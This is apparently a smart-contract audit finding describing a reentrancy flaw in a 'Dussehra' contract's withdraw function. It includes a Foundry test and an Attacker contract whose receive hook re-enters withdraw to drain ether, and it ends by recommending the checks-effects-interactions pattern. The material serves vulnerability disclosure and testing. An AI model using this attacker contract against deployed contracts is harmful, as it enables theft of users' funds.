The function 'withdraw' in the 'Dussehra' contract is subjected to a possible reentrancy attack.
There might be a reentrancy attack because this function does not follow the CEI pattern, a variable is updated after an external call.
function test_withdraw_reentrancyAttack() public {
Attacker attacker1 = new Attacker();
Attacker attacker2 = new Attacker();
deal(address(this), 0);
deal(address(dussehra), 10 ether);
assertEq(address(this).balance, 0);
deal(address(attacker1), 10 ether);
uint256 attacker1Balance = address(attacker1).balance;
assertEq(attacker1Balance, 10 ether);
vm.startPrank(address(attacker1));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
deal(address(attacker2), 10 ether);
uint256 attacker2Balance = address(attacker2).balance;
assertEq(attacker2Balance, 10 ether);
vm.startPrank(address(attacker2));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.warp(1728691200);
choosingRam.selectRamIfNotSelected();
address selectedRam = choosingRam.selectedRam();
assertNotEq(selectedRam, 0x0000000000000000000000000000000000000000);
vm.startPrank(selectedRam);
dussehra.killRavana();
assertEq(address(dussehra).balance, (10 ether) + 2 ether / 2);
assertEq(address(this).balance, 2 ether / 2);
assertEq(address(selectedRam).balance, 10 ether - 1 ether);
dussehra.withdraw();
assertEq(dussehra.totalAmountGivenToRam(), 0);
assertNotEq(address(selectedRam).balance, (10 ether - 1 ether) + 1 ether);
}
}
contract Attacker is Test, IERC721Receiver{
Dussehra public dussehra;
ChoosingRam public choosingRam;
RamNFT public ramNft;
DussehraTest public dussehraTest;
address public organizer;
receive() external payable{
Dussehra _dussehra = Dussehra(msg.sender);
if(address(msg.sender).balance > 2 ether / 2){
_dussehra.withdraw();
}
}
fallback() external payable {}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
return this.onERC721Received.selector;
}
}
A malicious contract can attack this function by calling repeatedly the 'withdraw' function.
Please follow the CEI pattern: (Check, effects, interaction).